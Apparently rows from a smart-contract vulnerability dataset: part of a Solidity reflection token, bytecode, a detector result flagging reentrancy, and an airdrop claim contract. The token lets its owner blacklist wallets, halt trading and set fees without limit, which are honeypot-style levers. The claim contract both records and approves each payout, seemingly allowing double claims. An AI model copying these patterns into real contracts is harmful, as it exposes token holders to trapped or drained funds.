if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610523578063dd62ed3e14610543578063ea1644d514610589578063f2fde38b146105a957600080fd5b8063a2a957bb1461049e578063a9059cbb146104be578063bfd79284146104de578063c3c8cd801461050e57600080fd5b80638f70ccf7116100d15780638f70ccf7146104485780638f9a55c01461046857806395d89b41146101fe57806398a5c3151461047e57600080fd5b80637d1db4a5146103e75780637f2feddc146103fd5780638da5cb5b1461042a57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461037d57806370a0823114610392578063715018a6146103b257806374010ece146103c757600080fd5b8063313ce5671461030157806349bd5a5e1461031d5780636b9990531461033d5780636d8aa8f81461035d57600080fd5b80631694505e116101ab5780631694505e1461026e57806318160ddd146102a657806323b872dd146102cb5780632fd689e3146102eb57600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461023e57600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f736600461192d565b6105c9565b005b34801561020a57600080fd5b5060408051808201825260088152674335433620496e7560c01b6020820152905161023591906119f2565b60405180910390f35b34801561024a57600080fd5b5061025e610259366004611a47565b610668565b6040519015158152602001610235565b34801561027a57600080fd5b5060145461028e906001600160a01b031681565b6040516001600160a01b039091168152602001610235565b3480156102b257600080fd5b50670de0b6b3a76400005b604051908152602001610235565b3480156102d757600080fd5b5061025e6102e6366004611a73565b61067f565b3480156102f757600080fd5b506102bd60185481565b34801561030d57600080fd5b5060405160098152602001610235565b34801561032957600080fd5b5060155461028e906001600160a01b031681565b34801561034957600080fd5b506101fc610358366004611ab4565b6106e8565b34801561036957600080fd5b506101fc610378366004611ae1565b610733565b34801561038957600080fd5b506101fc61077b565b34801561039e57600080fd5b506102bd6103ad366004611ab4565b6107c6565b3480156103be57600080fd5b506101fc6107e8565b3480156103d357600080fd5b506101fc6103e2366004611afc565b61085c565b3480156103f357600080fd5b506102bd60165481565b34801561040957600080fd5b506102bd610418366004611ab4565b60116020526000908152604090205481565b34801561043657600080fd5b506000546001600160a01b031661028e565b34801561045457600080fd5b506101fc610463366004611ae1565b61088b565b34801561047457600080fd5b506102bd60175481565b34801561048a57600080fd5b506101fc610499366004611afc565b6108d3565b3480156104aa57600080fd5b506101fc6104b9366004611b15565b610902565b3480156104ca57600080fd5b5061025e6104d9366004611a47565b610940565b3480156104ea57600080fd5b5061025e6104f9366004611ab4565b60106020526000908152604090205460ff1681565b34801561051a57600080fd5b506101fc61094d565b34801561052f57600080fd5b506101fc61053e366004611b47565b6109a1565b34801561054f57600080fd5b506102bd61055e366004611bcb565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561059557600080fd5b506101fc6105a4366004611afc565b610a42565b3480156105b557600080fd5b506101fc6105c4366004611ab4565b610a71565b6000546001600160a01b031633146105fc5760405162461bcd60e51b81526004016105f390611c04565b60405180910390fd5b60005b81518110156106645760016010600084848151811061062057610620611c39565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061065c81611c65565b9150506105ff565b5050565b6000610675338484610b5b565b5060015b92915050565b600061068c848484610c7f565b6106de84336106d985604051806060016040528060288152602001611d7f602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111bb565b610b5b565b5060019392505050565b6000546001600160a01b031633146107125760405162461bcd60e51b81526004016105f390611c04565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461075d5760405162461bcd60e51b81526004016105f390611c04565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107b057506013546001600160a01b0316336001600160a01b0316145b6107b957600080fd5b476107c3816111f5565b50565b6001600160a01b0381166000908152600260205260408120546106799061122f565b6000546001600160a01b031633146108125760405162461bcd60e51b81526004016105f390611c04565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108865760405162461bcd60e51b81526004016105f390611c04565b601655565b6000546001600160a01b031633146108b55760405162461bcd60e51b81526004016105f390611c04565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146108fd5760405162461bcd60e51b81526004016105f390611c04565b601855565b6000546001600160a01b0316331461092c5760405162461bcd60e51b81526004016105f390611c04565b600893909355600a91909155600955600b55565b6000610675338484610c7f565b6012546001600160a01b0316336001600160a01b0316148061098257506013546001600160a01b0316336001600160a01b0316145b61098b57600080fd5b6000610996306107c6565b90506107c3816112b3565b6000546001600160a01b031633146109cb5760405162461bcd60e51b81526004016105f390611c04565b60005b82811015610a3c5781600560008686858181106109ed576109ed611c39565b9050602002016020810190610a029190611ab4565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a3481611c65565b9150506109ce565b50505050565b6000546001600160a01b03163314610a6c5760405162461bcd60e51b81526004016105f390611c04565b601755565b6000546001600160a01b03163314610a9b5760405162461bcd60e51b81526004016105f390611c04565b6001600160a01b038116610b005760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105f3565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bbd5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105f3565b6001600160a01b038216610c1e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105f3565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ce35760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105f3565b6001600160a01b038216610d455760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105f3565b60008111610da75760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105f3565b6000546001600160a01b03848116911614801590610dd357506000546001600160a01b03838116911614155b156110b457601554600160a01b900460ff16610e6c576000546001600160a01b03848116911614610e6c5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105f3565b601654811115610ebe5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105f3565b6001600160a01b03831660009081526010602052604090205460ff16158015610f0057506001600160a01b03821660009081526010602052604090205460ff16155b610f585760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105f3565b6015546001600160a01b03838116911614610fdd5760175481610f7a846107c6565b610f849190611c80565b10610fdd5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105f3565b6000610fe8306107c6565b6018546016549192508210159082106110015760165491505b8080156110185750601554600160a81b900460ff16155b801561103257506015546001600160a01b03868116911614155b80156110475750601554600160b01b900460ff165b801561106c57506001600160a01b03851660009081526005602052604090205460ff16155b801561109157506001600160a01b03841660009081526005602052604090205460ff16155b156110b15761109f826112b3565b4780156110af576110af476111f5565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806110f657506001600160a01b03831660009081526005602052604090205460ff165b8061112857506015546001600160a01b0385811691161480159061112857506015546001600160a01b03848116911614155b15611135575060006111af565b6015546001600160a01b03858116911614801561116057506014546001600160a01b03848116911614155b1561117257600854600c55600954600d555b6015546001600160a01b03848116911614801561119d57506014546001600160a01b03858116911614155b156111af57600a54600c55600b54600d555b610a3c8484848461143c565b600081848411156111df5760405162461bcd60e51b81526004016105f391906119f2565b5060006111ec8486611c98565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610664573d6000803e3d6000fd5b60006006548211156112965760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105f3565b60006112a061146a565b90506112ac838261148d565b9392505050565b6015805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106112fb576112fb611c39565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561134f57600080fd5b505afa158015611363573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113879190611caf565b8160018151811061139a5761139a611c39565b6001600160a01b0392831660209182029290920101526014546113c09130911684610b5b565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906113f9908590600090869030904290600401611ccc565b600060405180830381600087803b15801561141357600080fd5b505af1158015611427573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b80611449576114496114cf565b6114548484846114fd565b80610a3c57610a3c600e54600c55600f54600d55565b60008060006114776115f4565b9092509050611486828261148d565b9250505090565b60006112ac83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611634565b600c541580156114df5750600d54155b156114e657565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061150f87611662565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061154190876116bf565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115709086611701565b6001600160a01b03891660009081526002602052604090205561159281611760565b61159c84836117aa565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516115e191815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061160f828261148d565b82101561162b57505060065492670de0b6b3a764000092509050565b90939092509050565b600081836116555760405162461bcd60e51b81526004016105f391906119f2565b5060006111ec8486611d3d565b600080600080600080600080600061167f8a600c54600d546117ce565b925092509250600061168f61146a565b905060008060006116a28e878787611823565b919e509c509a509598509396509194505050505091939550919395565b60006112ac83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111bb565b60008061170e8385611c80565b9050838110156112ac5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105f3565b600061176a61146a565b905060006117788383611873565b306000908152600260205260409020549091506117959082611701565b30600090815260026020526040902055505050565b6006546117b790836116bf565b6006556007546117c79082611701565b6007555050565b60008080806117e860646117e28989611873565b9061148d565b905060006117fb60646117e28a89611873565b905060006118138261180d8b866116bf565b906116bf565b9992985090965090945050505050565b60008080806118328886611873565b905060006118408887611873565b9050600061184e8888611873565b905060006118608261180d86866116bf565b939b939a50919850919650505050505050565b60008261188257506000610679565b600061188e8385611d5f565b90508261189b8583611d3d565b146112ac5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105f3565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107c357600080fd5b803561192881611908565b919050565b6000602080838503121561194057600080fd5b823567ffffffffffffffff8082111561195857600080fd5b818501915085601f83011261196c57600080fd5b81358181111561197e5761197e6118f2565b8060051b604051601f19603f830116810181811085821117156119a3576119a36118f2565b6040529182528482019250838101850191888311156119c157600080fd5b938501935b828510156119e6576119d78561191d565b845293850193928501926119c6565b98975050505050505050565b600060208083528351808285015260005b81811015611a1f57858101830151858201604001528201611a03565b81811115611a31576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a5a57600080fd5b8235611a6581611908565b946020939093013593505050565b600080600060608486031215611a8857600080fd5b8335611a9381611908565b92506020840135611aa381611908565b929592945050506040919091013590565b600060208284031215611ac657600080fd5b81356112ac81611908565b8035801515811461192857600080fd5b600060208284031215611af357600080fd5b6112ac82611ad1565b600060208284031215611b0e57600080fd5b5035919050565b60008060008060808587031215611b2b57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b5c57600080fd5b833567ffffffffffffffff80821115611b7457600080fd5b818601915086601f830112611b8857600080fd5b813581811115611b9757600080fd5b8760208260051b8501011115611bac57600080fd5b602092830195509350611bc29186019050611ad1565b90509250925092565b60008060408385031215611bde57600080fd5b8235611be981611908565b91506020830135611bf981611908565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611c7957611c79611c4f565b5060010190565b60008219821115611c9357611c93611c4f565b500190565b600082821015611caa57611caa611c4f565b500390565b600060208284031215611cc157600080fd5b81516112ac81611908565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d1c5784516001600160a01b031683529383019391830191600101611cf7565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d5a57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611d7957611d79611c4f565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122080063e0593e144b770bc3e4a29b8a9e9887caa9d404b85cd4e928914f8f1dfcd64736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 4,023 |
0x93d86462e8231d604ea62e26ad207389bfd18f02
|
pragma solidity 0.6.12;
// SPDX-License-Identifier: MIT
//
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor() internal {}
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
//
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), 'Ownable: caller is not the owner');
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), 'Ownable: new owner is the zero address');
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
//
interface IBEP20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the token decimals.
*/
function decimals() external view returns (uint8);
/**
* @dev Returns the token symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the token name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the bep token owner.
*/
function getOwner() external view returns (address);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address _owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
//
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, 'SafeMath: addition overflow');
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, 'SafeMath: subtraction overflow');
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, 'SafeMath: multiplication overflow');
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, 'SafeMath: division by zero');
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, 'SafeMath: modulo by zero');
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function min(uint256 x, uint256 y) internal pure returns (uint256 z) {
z = x < y ? x : y;
}
// babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method)
function sqrt(uint256 y) internal pure returns (uint256 z) {
if (y > 3) {
z = y;
uint256 x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
contract ReEntrancyGuard {
bool internal locked;
modifier noReentrant() {
require(!locked, "No re-entrancy");
locked = true;
_;
locked = false;
}
}
contract ClaimClaim is Ownable, ReEntrancyGuard{
using SafeMath for uint256;
IBEP20 public poolToken; // token in airdrop
constructor(IBEP20 _addr) public {
poolToken = _addr;
}
mapping(address => uint256) public amountss;
function allowUser(address[] memory _addr, uint256[] memory _vals) onlyOwner public {
for(uint i=0; i< _addr.length; i++){
amountss[_addr[i]] = _vals[i];
poolToken.approve(_addr[i], _vals[i]);
}
}
function withdraw() public noReentrant {
require(amountss[msg.sender] > 0, "invalid");
uint256 amountToSend = amountss[msg.sender];
amountss[msg.sender] = 0;
poolToken.transfer(msg.sender, amountToSend);
}
}
|
0x608060405234801561001057600080fd5b506004361061006d5760003560e01c80633ccfd60b146100725780636c7cc2331461007c578063715018a61461019f5780638b1b376d146101a75780638da5cb5b146101df578063cbdf382c14610203578063f2fde38b1461020b575b600080fd5b61007a610231565b005b61007a6004803603604081101561009257600080fd5b810190602081018135600160201b8111156100ac57600080fd5b8201836020820111156100be57600080fd5b803590602001918460208302840111600160201b831117156100df57600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b81111561012e57600080fd5b82018360208201111561014057600080fd5b803590602001918460208302840111600160201b8311171561016157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610384945050505050565b61007a610503565b6101cd600480360360208110156101bd57600080fd5b50356001600160a01b0316610593565b60408051918252519081900360200190f35b6101e76105a5565b604080516001600160a01b039092168252519081900360200190f35b6101e76105b4565b61007a6004803603602081101561022157600080fd5b50356001600160a01b03166105c3565b600054600160a01b900460ff1615610281576040805162461bcd60e51b815260206004820152600e60248201526d4e6f2072652d656e7472616e637960901b604482015290519081900360640190fd5b6000805460ff60a01b1916600160a01b178155338152600260205260409020546102dc